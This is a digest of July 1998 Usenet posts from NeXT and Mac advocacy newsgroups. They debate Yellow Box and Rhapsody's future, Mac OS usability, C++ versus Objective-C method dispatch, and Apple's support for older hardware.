References: <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <m%_q1.191$E5.1672335@proxye1.san.rr.com> <joe.ragosta-1507980648180001@elk60.dol.net>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <35ac900b.0@nnrp1.news.uk.psi.net>
Date: 15 Jul 98 11:18:35 GMT
joe.ragosta@dol.net (Joe Ragosta) wrote:
>In article <m%_q1.191$E5.1672335@proxye1.san.rr.com>, "Ed Deans."
><eadeans@san.rr.com> wrote:
>
>> Michael Roeder wrote in message ...
>> The Mac UI works. It's debatable whether it works *well.*
>>
>
>It wouldn't be much of a debate.
>
>Which OS has the highest productivity?
>Which OS has the best ease of use?
>Which OS has the lowest TCO?
>
>The answer to all of these is "Mac OS". That's working well in my book.
Proof?
To the best of my knowledge, NeXTstep used to beat MacOS on all three counts
in the business world, though the TCO of MacOS may have been better for home users.
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Static typing and dynamic binding
From: lars.farm@ite.mh.se (Lars Farm)
Message-ID: <1dc7erd.7a9pnpu9xs8wN@dialup155-1-21.swipnet.se>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <3599148B.1B14@exu.ericsson.se> <6nakg1$r2h$15@ns3.vrx.net> <6o2e5p$q2u$1@news.cs.tu-berlin.de> <1dbwpln.1hul373c7z78eN@dialup207-3-17.swipnet.se> <6o32eu$ljg1@odie.mcleod.net> <6ogmq6$5dp$1@nnrp1.dejanews.com> <6ogpjf$bin$1@cronkite.cygnus.com>
Organization: pv
Date: Wed, 15 Jul 1998 11:26:51 GMT
NNTP-Posting-Date: Wed, 15 Jul 1998 13:26:51 MET DST
John Rudd <jrudd@cygnus.com> wrote:
> Even with virtual functions, two objects must have inherited their virtual
> functions from the same class in order to be able to bind them propperly at
> run time.
Yes. This is where the restriction is.
> C++ always needs to know where in the object structure the offset for the
This is not correct. See below.
> Objective-C doesn't store method references as specific structure offsets.
> The runtime actually finds which method that matches that name/selector
> actually belongs to the object when you send it that message. Only after
> finding/binding the right piece of code at run time is the function/code
> invoked.
Conceptually and as far as the language is concerned this is exactly how
a virtual function in C++ works. The language spec says nothing about
v-tables or how dynamic binding should be implemented. Linear search for
function name and argument types (function signature) and class is
certainly a legal C++ implementation. There are more efficient ways that
does not violate the language spec. In C++ the compiler can rely on the
fact that the function it is searching is derived from the class of the
pointer it is to be called through. The language also leaves object
layout entirely to the compiler so the compiler can use object layout to
encode function signature for faster access if it wants to.
Dynamic languages can also do the search in different ways. Linear
search or hash tables are popular. Caching most recently used, encoding
function signature to speed up compares, etc. Think of a v-table lookup
as a Perfect Minimal Hashtable, because that's exactly what it is. The
function signature is in coded form, declaration order within class. C++
has very few requirements on object layout which means that the
compiler/runtime has full control of object layout so this is safe.
In other words, the C++ base-class requirement results in more
information available at the search point. The runtime knows more about
where to look for the function. It can look in a smaller search space.
It also knows that the search you described can not fail. Consequently
the base-class requirement happens to *allow* a more efficient lookup.
It doesn't require it.
Note that there are similar, but less agressive optimizations in dyn
languages. The runtime search isn't performed on the entire function
space. The search is limited to the area indicated by the object
pointer. "If there is a method it has to be somewhere around here". So
the search is performed in a limited space. An optimization allowed by
the language.
All this just to put the "blame" where it belongs. Many get cause and
consequence backwards on this one. The difference is in the
baseclass+signature requirement - a language requirement. The difference
is not the v-table/runtime - not a language requirement.
> I have
> been told that there is an effort to make C++'s virtual functions more
> beefy.. but I haven't ever heard that this was finalized.
I'm not sure what you mean by this, but perhaps you're talking about
RTTI (Run Time Type Information)? You can ask the runtime what type a
variable has, typeid( X ) and do safe navigation (casts) through a
typegraph provided there are virtual functions, dynamic_cast<X>( X ),
but I sincerely doubt that this will satisfy proponents of dynamic
languages. They don't want the baseclass and they dont want the
signature checked. Then of course there is templates that can sidestep
the baseclass requirement/restriction if you as a programmer wants to.
Also called static polymorphism or genericity. I don't think this is
what dyn language proponets want to see either...
- Lars
--
Lars Farm; lars.farm@ite.mh.se - Limt/Channelmatic: lars.farm@limt.se
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 15 Jul 1998 03:41:03 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6oh8cf$rs9$1@camel21.mindspring.com>
References: <gmgraves-1207981502300001@sf-usr1-36-164.dialup.slip.net> <slrn6qnuje.1ng.jason@jhste1.dyn.ml.org> <6oguso$opt$1@lwnws01.ne.highway1.com>
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In article <macghod-1407981823170001@sdn-ar-001casbarp145.dialsprint.net>
Steve Sullivan, macghod@concentric.net writes:
>He claims he left because macweek wanted to be mindless mac cheerleaders,
>and he wanted to be able to stick to the facts. Being mindlessly pro
>anything will make one not be factual, not matter what it is.
>
It appears that Steve Jobs was tired of Norr's critical editorial stand,
and that Apple was no longer being highly cooperative with MacWeek, not
lending machines to use, reducing advertising, etc.
At least that was the word on the MacWeek boards.
With that as an impetus, the owners of MacWeek no doubt asked Mr. Norr to
leave.
Matthew Cromer
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: 15 Jul 1998 03:46:47 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6oh8n7$4vu$1@camel21.mindspring.com>
References: <35AA8501.CF6AAF27@nospam.com> <35AC0107.29F81818@alum.mit.edu> <6ogvfj$opt$2@lwnws01.ne.highway1.com> <us51zrn3j22.fsf@ai.mit.edu>
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In article <6oedop$9t21@odie.mcleod.net> Michelle L. Buck,
buck.erik@mcleod.net writes:
>You would be a flaming idiot to program for Yellow now.
Sounds like you have a wonderful life ahead of you coding Visual C++ on
NT. Have fun!
Don't let the door slap you in the butt on the way out.
Matthew Cromer
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOSX == Rhapsody
Date: 14 Jul 98 14:17:39
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jul14141739@slave.doubleu.com>
References: <6o17sr$52q$1@msunews.cl.msu.edu> <6o5bv7$ba0@shelob.afs.com>
<6o5g4e$c6e$1@news.cs.tu-berlin.de> <6o5jba$6q$1@news.xmission.com>
<01bdac2c$05e11ee0$04387880@test1> <6o5nq8$6q$3@news.xmission.com>
<6o5ph5$s4k$1@cronkite.cygnus.com>
<SCOTT.98Jul13153549@slave.doubleu.com>
In-reply-to: scott@doubleu.com's message of 13 Jul 98 15:35:49
In article <SCOTT.98Jul13153549@slave.doubleu.com>,
scott@doubleu.com (Scott Hess) writes:
In article <6o5ph5$s4k$1@cronkite.cygnus.com>,
jrudd@cygnus.com (John Rudd) writes:
The Cygnus founders saw an opportunity in the late 80's to make
money by customizing and supporting GCC. I'm curious if perhaps
this is a similar opportunity. The Enterprise customers we're
talking about here are entities that already see value in
Openstep. Do they see enough value to jointly fund a
Cyngus-like company that would focus on Gnustep? It _may_ leave
the in a situation to live on YB until their new company could
finish Gnustep, and then switch to Gnustep as soon as possible.
Assuming that Rhapsody/Intel really _does_ go away (I'll believe it
after I see it), I'll be looking for somewhere to jump ship to.
Count me in :-).
Actually, I was just wondering....
The NeXT faithful are pretty faithful, some of them. I wonder how
much money you could bring in if you set up a "NeXT Club", and charged
$100/year for membership. Dues would pay to employ psuedo-volunteers
to code on GnuStep+Linux. [I say "psuedo-volunteers" because I'm
assuming a low pay scale, relative to industry.] Membership would get
you, say, access to source code, or perhaps access to new releases
earlier than the regular joe.
Better yet, force the coders and packagers to write monthly articles,
and put out a newsletter so that subscription costs are deductable.
Perhaps that would result in improved documentation in the bargain.
It almost seems like a good idea. I'm sure there are completely valid
reasons why it wouldn't work in practice,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: suckow@*remove_this_to_e-mail_me*bln.sel.alcatel.de (Ralf Suckow)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Code Security - a benefit of Yellow Box (was Re: Yellow Box future?)
Date: 15 Jul 1998 11:38:17 GMT
Organization: Alcatel/Bell
Distribution: world
Message-ID: <6oi4b9$gtr@btmpjg.god.bel.alcatel.be>
References: <35AC0107.29F81818@alum.mit.edu>
Eric Hermanson <eric@alum.mit.edu> writes
>
> ***Interestingly, a reason why Apple might very well continue to develop Yellow
> Box (and other APIs) in Obj-C and wrap it in Java, as opposed to developing
> strictly in Java, is that fact that Objective-C is much harder to decompile.
> Likewise, a developer who wants to distribute cross-platform applications is in
> my opinion better off from a code security standpoint by writing them in
> Obj-C/Yellow Box and shipping them on MacOS/YB and WinNT/YB, rather than giving
> away their secrets by shipping decompilable Java class files. Developers who
> want to export their API's to Java simply have to wrap the Obj-C in Java. This
> sort of makes Java wrapped Obj-C applications Java Native Interfaces (JNI) -
> the Java calls are translated to "native" YellowBox, EOF, or WebObjects calls.
> Since YellowBox will supposedly run on all "mainstream" platforms, and because
=======================
> YellowBox represents an extremely advanced object-oriented development
> environment, it becomes an attractive alternative.
Why do you think it will? There are no indications of that.
There are 10 or more mainstream platforms, how do you expect
to get YellowBox for them? If even Rhapsody (beyond 1.0)
will not run (despite promized) on '97 hardware and Rhapsody
for intel will be discontinued etc.
Java may be useful for Rhapsody/Mac OS X/Yellow Box, but Yellow Box
is of no value for java. It's the other way round, it questions the 100%
pure approach. If it would be microsoft to sell YellowBox as java
platform, people would say they try to kill Java (and microsoft would
succeed this way, just that they are neither able to abandon Win32
nor to make a YellowBox).
Yours,
--
Ralf.Suckow ------------------------
@bln.sel.alcatel.de | All opinions are mine.
From: chaps@netcomuk.co.ukX (Stan The Man)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Wed, 15 Jul 1998 09:41:48 +0100
Organization: ShipShape
Distribution: world
Message-ID: <chaps-ya02408000R1507980941480001@nntp.netcomuk.co.uk>
References: <gmgraves-1207981502300001@sf-usr1-36-164.dialup.slip.net> <slrn6qnuje.1ng.jason@jhste1.dyn.ml.org> <6oguso$opt$1@lwnws01.ne.highway1.com> <6oh8cf$rs9$1@camel21.mindspring.com>
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In article <6oh8cf$rs9$1@camel21.mindspring.com>, Matthew Cromer
<matthew_cromer@iname.com> wrote:
>In article <macghod-1407981823170001@sdn-ar-001casbarp145.dialsprint.net>
>Steve Sullivan, macghod@concentric.net writes:
>>He claims he left because macweek wanted to be mindless mac cheerleaders,
>>and he wanted to be able to stick to the facts. Being mindlessly pro
>>anything will make one not be factual, not matter what it is.
>>
>
>It appears that Steve Jobs was tired of Norr's critical editorial stand,
>and that Apple was no longer being highly cooperative with MacWeek, not
>lending machines to use, reducing advertising, etc.
>
>At least that was the word on the MacWeek boards.
>
>With that as an impetus, the owners of MacWeek no doubt asked Mr. Norr to
>leave.
If true, do you think that this was reasonable behaviour by Apple? If true,
I would think a lot less of Apple for it.
Stan
--
Stan The Man
+++Naked Under This Macintosh+++
DELETE X when replying
From: holger@object-factory.REMOVETHIS.com (Holger Hoffstaette)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: 15 Jul 1998 12:03:56 GMT
Organization: the unstoppable code machine
Message-ID: <6oi5rc$37k$2@leonie.object-factory.com>
References: <35AA8501.CF6AAF27@nospam.com> <Pine.NXT.3.96.980714095829.3157E-100000@pathos>
<6ofu0o$q2h@nntp02.primenet.com> <6og44u$bpf$1@leonie.object-factory.com>
<6ogjvs$cti@nntp02.primenet.com> <6ohsev$37k$1@leonie.object-factory.com>
<6oi099$67j$1@sun27.hrz.tu-darmstadt.de>
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Christian Neuss wrote:
> Holger is probably not allowed to discuss this in public, but I may
> be able to shed some light.
Gee, thanks.
> Object-Factory does some very serious development, and they have some
> very serious large customers, from large industry and the banking sector.
> He's talking end users, not pre-release software.
Yeah, but the bank wasn't our biz. A certain government office seems to
like us, though. ;-)
From: "Ed Deans." <eadeans@san.rr.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <6og4n2$bpf$2@leonie.object-factory.com> <6ogao2$cuc$2@lwnws01.ne.highway1.com>
Subject: Re: Mac OS X UI
Message-ID: <Tv_q1.190$E5.1655862@proxye1.san.rr.com>
Date: Wed, 15 Jul 1998 09:20:51 GMT
NNTP-Posting-Date: Wed, 15 Jul 1998 02:20:51 PDT
Organization: TWC Road Runner, San Diego, CA
John Kheit wrote in message <6ogao2$cuc$2@lwnws01.ne.highway1.com>...
>holger@object-factory.REMOVETHIS.com (Holger Hoffstaette) wrote:
>> Pulsar wrote:
>> > Then there's the fact that John doesn't seem to like purple. ;)
>>
>> He's not alone. Purple is a very hostile color, and whoever came up with
>> the very idea should be hung down the pirate flagpole, head down.
>
>Actually, there are color studies that say that purple is the most
polorizing
>color. Either people hate it, or love it (this is for clothes, I don't
know
>how well it translates to UIs). People are rarely indifferent to it.
Quite
>honestly I wouldn't mind. There are probably tasteful ways to use it, or
>almos any color for that matter; it's just that apple has successfully
>managed to not find such uses.
Is "French Blue" purple? AFAIK, that's the default accent colour for
platinum. Sure, I suppose someone could call it purple...
--Ed.
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: 15 Jul 1998 09:22:51 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6ohsdb$17c$1@news.cs.tu-berlin.de>
References: <35AA8501.CF6AAF27@nospam.com> <6oedop$9t21@odie.mcleod.net> <6oej43$n38$1@news.digifix.com> <6ogjoj$vnt$1@nnrp1.dejanews.com> <6ogmju$g83$1@news.digifix.com>
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sanguish@digifix.com (Scott Anguish) writes:
>On 07/14/98, embuck@my-dejanews.com wrote:
>>Apple's message has been clear and simple since WWDC. CARBON is
>>the only API that devlopers should consider at least
> That ___LEGACY___ developers should consider yes. Carbon is
>about compatibility.
...and since LEGACY developers make up, what, around 99.9% of
the Mac developer community, where is the public message going
to be? Especially as it was these developers that were upset
by last years mesage, are a somewhat cranky lot and need lots
of soothing.
I think there is no message targeted at YB-developers because
Apple thinks they don't need m[ae]ssaging at this point.
Not that I don't wish it were otherwise. (Ahh, yes, right there
on the neck is just fine...:-)
Apple definitely needs to get its various licensing issues
straightened out, especially the YB/NT license that's been
promised. For example, we were told to get WO-seats when
we asked about an NT runtime. Silly.
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: "Ed Deans." <eadeans@san.rr.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171>
Subject: Re: Mac OS X UI
Message-ID: <m%_q1.191$E5.1672335@proxye1.san.rr.com>
Date: Wed, 15 Jul 1998 09:54:26 GMT
NNTP-Posting-Date: Wed, 15 Jul 1998 02:54:26 PDT
Organization: TWC Road Runner, San Diego, CA
Michael Roeder wrote in message ...
>In article <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu>,
>Pulsar <tokarek@uiuc.edu> wrote:
>
>> On 14 Jul 1998, John Kheit wrote:
>>
>> I think John is refering to the fact that Apple is not significantly
>> advancing or replacing the same old Mac OS UI. Mac OS X and Rhapsody
don't
>> have any UI direction shifts. Little attempt was apparently made to
>> improve the Mac OS UI and the NeXT UI.
>
>That's because the Mac UI works well and people know it.
The Mac UI works. It's debatable whether it works *well.*
If it really worked well would Apple have spent all that time and money on
migrating to a document-centric model with OpenDoc?
What about "Pink?" With "People, Places and Things" (PPT) the desktop
concept was generalized. Different kinds of desktops could be optimized for
the different "places" where enterprise users want to work, for varying
tasks users work on at a given moment, for specific departments, etc.
How does Mac OS's UI "facilitate interactions among people" like PPT was
meant to? Part of that movement with PPT was in the OpenDoc movement away
from Applications and toward a document-centric UI. The next element was
supposed to be task-centered computing.
It was an attempt to get out of the user's way, facilitate tasks, facilitate
interactions, model what people know how to do already rather than forcing
them into a foreign work model.
The problems these solutions (i.e. OpenDoc & PPT) were intended to address
didn't suddenly dry up and drift away.
How will the Mac OS X UI address those problems? While Apple may not make a
big Enterprise push, there will reportedly be a Mac OS X Server. I don't
know too many home users which want their own stand-alone servers.
Let's stop yacking about whether "purple" is an "evil" colour, why the
Mac-style menubar might be best or not, etc.
FWIW, PPT had the NeXT-style menu palette rather than the Mac-style.
--Ed.
Date: Wed, 15 Jul 1998 06:14:15 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-1507980614160001@elk60.dol.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6oae9f$7sf@netnews.hinet.net> <6od8vj$e54$1@nnrp1.dejanews.com> <gmgraves-1307981113030001@sf-pm5-24-88.dialup.slip.net> <Josh.McKee-1307982024580001@pm3a3.rmac.net> <gmgraves-1407980930580001@sf-usr1-43-171.dialup.slip.net> <Josh.McKee-1407981853200001@pm3a4.rmac.net>
In article <Josh.McKee-1407981853200001@pm3a4.rmac.net>,
Josh.McKee@cbns.com (Joshua T. McKee) wrote:
> In article <gmgraves-1407980930580001@sf-usr1-43-171.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
>
> > In article <Josh.McKee-1307982024580001@pm3a3.rmac.net>,
> > Josh.McKee@cbns.com (Joshua T. McKee) wrote:
>
> > > Let me ask you this George, how do you know OS 8.x will run carbon
> tuned apps?
> >
> > Jobs, at his WWDC presentation in May, talked about Sonata (the next
> major OS-8
> > (9?) upgrade after Allegro). He said that it would contain an extension
> > which would
> > allow it to run Carbon-tuned apps -only without PMT and memory protection.
>
>
> In other words, Apple said that it would. The very same Apple that said
> that the NuBus PowerMacs would run the next generation OS Apple was going
> to deliver. The same Apple that said that "all currently shipping" (at
> the time the announcement was made) would run Rhapsody, which they've all
> but killed.
Actually, I don't think that's quite right. When did Apple say that NuBus
PowerMacs would run Rhapsody? I recall them saying that all the Macs being
shipped on January 1, 1997 would run Rhapsody. They missed this target (I
don't think Rhapsody will work on the 6500 and possibly one or more
PowerBooks), but NuBus Macs were never part of the equation.
>
> Unfortunately, I cannot take Apple for anything it says. They've promised
> so much and delivered so little.
Just the best OS available from a productivity, ease of use, and TCO
standpoint. An OS which is getting dramatically better every year.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: Jonas.Palm@orgk1.lu.se (Jonas Palm)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Wed, 15 Jul 1998 12:17:06 +0100
Organization: University of Lund, Sweden
Message-ID: <Jonas.Palm-1507981217060001@jp.orgk1.dial.lu.se>
References: <rmcassid-1307981232230001@dante.eng.uci.edu> <B1CFE637-1A286@206.165.43.144> <6oe63d$2r6$1@vixen.cso.uiuc.edu>
In article <6oe63d$2r6$1@vixen.cso.uiuc.edu>, stwillis@ews.uiuc.edu
(willis sean timothy) wrote:
> Lawson English (english@primenet.com) wrote:
:
> : But what of my brand new 7300/180? That's a 604e-based system also. I
> : bought it specifically to be able to run and program for Rhapsody just 2-3
> : months ago.
>
I bought a similar machine for similar reasons 9 months ago, when the
announcement date of the G3s were still not certain. I nevertheless felt
pretty good about bying it, given the huge installed base of Tsunami
motherboards, and figured that it should be well supported for at least
another five years, and maybe longer.
If Apple decides not to support these machines, not only do I feel that
they are screwing their customers. What is probably more important to
Apple is that they will then lose the loyalty of someone who has been a
mac promoter for over a decade, and who support a great number of users.
I simply won't feel good about recommending people to buy Apple. Given
the other real world problems of not using the standard platform,
Mac users must able to rely on decent support from Apple.
Apple _needs_ the loyalty of it's customers. While they want people
to buy new hardware, they really need that hardware to be theirs, not
Wintel. If people feel badly treated by Apple, and they will if the
long promised modern OS doesn't work on their recent investment, then
Apple _will_ erode their user base. They may gain in the very short
term by some people upgrading who wouldn't otherwise, but they will
lose big overall.
I think it would be a bad mistake for Apple to alienate a very great
number of Tsunami owners. There are reaons enough to go Wintel that
a major loss in customer loyalty would cost them dearly indeed.
Jonas Palm
Date: Wed, 15 Jul 1998 06:31:36 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-1507980631360001@elk60.dol.net>
References: <not-1407981048300001@2-25.phx.psn.net> <6ogat2$8vu@shelob.afs.com>
In article <6ogat2$8vu@shelob.afs.com>, Greg_Anderson@afs.com wrote:
> Michael M. Eilers writes
> > Not one of the Big Four Mac developers--Adobe, Quark, Microsoft,
> > Macromedia--the people who *made* the Mac what it is today--were willing
> > to touch Yellow Box with a ten-quadrillion-foot pole. That alone doomed
> > the Yellow Box forever.
>
> But the reasons had nothing to do with technical inability. Those four
> developers had already been forced to solve cross-platform issues with
> their own home-grown solutions. There was no point rewriting everything,
> because it conveyed no fresh advantage *to them*. Furthermore, YB poses
Close. I suspect that they all saw that YB was a superior environment, but
that it would take too long for them to recover the cost of a wholesale
rewrite of their apps.
> a potential threat, precisely because it allows smaller firms to catch
> up -- on both Windows and Mac -- with drastically smaller resources.
That's certainly true, as well.
>
> Don't believe me? Take a serious look at TIFFany, which was developed by
> TWO guys over the meandering course of several years. Tell me with a
> straight face that TIFFany is not Photoshop's equal (or better). Imagine
> how Adobe feels about two guys in a college dorm cranking out code that
> could put them to shame, despite orders of magnitude greater resources.
But this could still be true. In fact, TIFFany just got a big boost (or,
more accurately, a promise of a big boost). If Mac OS X replaces Mac OS
some day, the number of TIFFany's potential customers just increased
dramatically.
>
> No, the reasons why the Big Developers would want to clobber YB are way
> too obvious. The question is, will Apple consider it to be in its own
> best interest to stand up to them?
It will depend on how well the YB developers do, I would guess. If
TIFFany, for example, takes a significant percentage of sales from Adobe,
then Apple will probably push YB harder.
>
> As to Henry Norr, I was in fairly frequent contact with him during the
> months following the NeXT acquisition, and I found him to be fair-minded
> and willing to learn what Apple was buying. Still, he has his own point
> of view on things, and his source (Ken Bereskin) is no better placed --
> by your standards, where only Steve is worth listening to -- than the
> people Scott Anguish has access to.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Wed, 15 Jul 1998 08:38:05 -0500
Organization: Prairie Group
Message-ID: <MPG.10166cb79f7cc91b9899a1@news.supernews.com>
References: <6oet38$1pvc$1@piglet.cc.uic.edu> <Pine.SOL.3.96.980714114004.13773B-100000@ux5.cso.uiuc.edu> <MPG.1015a6adf8fdabbf98999b@news.supernews.com> <pulsar-ya02408000R1407982147190001@news-proxy.cso.uiuc.edu>
In article <pulsar-ya02408000R1407982147190001@news-proxy.cso.uiuc.edu>,
pulsar@springnet1.com says...
> > I have contacts inside of Apple. No, I cannot name them, because I will
> > then lose them as sources. So, I can only give you my word that I have
> > been told there has been such consideration, and I am quite convinced
> > they were accurate.
>
> Very well. That won't stop me from campaigning for Apple to support these
> machines though.
>
Go for it. Seriously. People campaigning for it will make sure Apple
doesn't miscalculate how much it is desired.
Donald
From: Eric Hermanson <eric@alum.mit.edu>
Newsgroups: comp.sys.next.advocacy
Subject: Ode to Yellow Box
Date: Wed, 15 Jul 1998 03:46:34 -0700
Organization: Digital Universe Corporation
Message-ID: <35AC888A.442D4C86@alum.mit.edu>
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NNTP-Posting-Date: 15 Jul 1998 10:46:35 GMT
Sorry, but this is what happens when it's 3:30am and you find that you're still
up working.
Yellow Box, Yellow Box, why're you so elusive?
Many of the developers don't think that's conducive.
Some think you're canned, others think you're dead,
Others think you're as played-out as Right-Said-Fred.
But I have faith in ye, old Yeller, old Boy,
I know you're not just another Bill Gates sex-toy.
So please prove to the World that you're in for the duration,
And give us something to do besides negative contemplation.
- Anonymous
From: Christian Benesch
Newsgroups: comp.sys.next.advocacy
Subject: Re: The price of the Microsoft deal?
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Cc: rmcassid@uci.edu
References: <6o3vu2$m80$1@news.xmission.com> <Fergus.Doherty-ya02408000R1007981043370001@news.nottingham.ac.uk>
<slrn6qd35g.30p.sal@panix3.panix.com> <rmcassid-1307981242100001@dante.eng.uci.edu>
<6odr3r$hk0$2@sun27.hrz.tu-darmstadt.de> <rmcassid-1307981719050001@dante.eng.uci.edu>
Message-ID: <35ac6168.0@news.telekabel.at>
Date: 15 Jul 1998 09:59:36 +0100
In <rmcassid-1307981719050001@dante.eng.uci.edu> Robert Cassidy wrote:
> In article <6odr3r$hk0$2@sun27.hrz.tu-darmstadt.de>,
> neuss.nos-pam@informatik.th-darmstadt.de.nos-pam wrote:
>
> >rmcassid@uci.edu (Robert Cassidy) wrote:
> >>Good point. Bob is currently marginally pissed-off that WebObjects, let
> >>alone DR2 won't run on his hopefully-soon-to-be-arriving Powerbook G3,
but
> >>that it will run on the Micron laptop that his arch-rival PC wonk owns.
>
> >Amen, brother.
>
> My sole consolation is that when it _does_ run, it will likely run far
better.
>
> >>I know that it _will_ run in a few months, but that only cures the
> >>pissed-offs to a certain degree...
> >
> >Hm. You sure it will?
>
> Reasonably so, yes. Not perfectly and probably not with any measure of
> battery life, but I _should_ get what I need.
>
> -Bob Cassidy
>
Perhaps we should confront Apple with two scenarios...:
1) Rhapsody/Intel on an IBM Thinkpad
2) Rhapsody/intel emulated on VirtualPC on PBG3(sick,isn't it? :-) )
...and then ask them again what they think about WallStreet support.
Christian Benesch
From: "Ed Deans." <eadeans@san.rr.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <m%_q1.191$E5.1672335@proxye1.san.rr.com> <joe.ragosta-1507980648180001@elk60.dol.net>
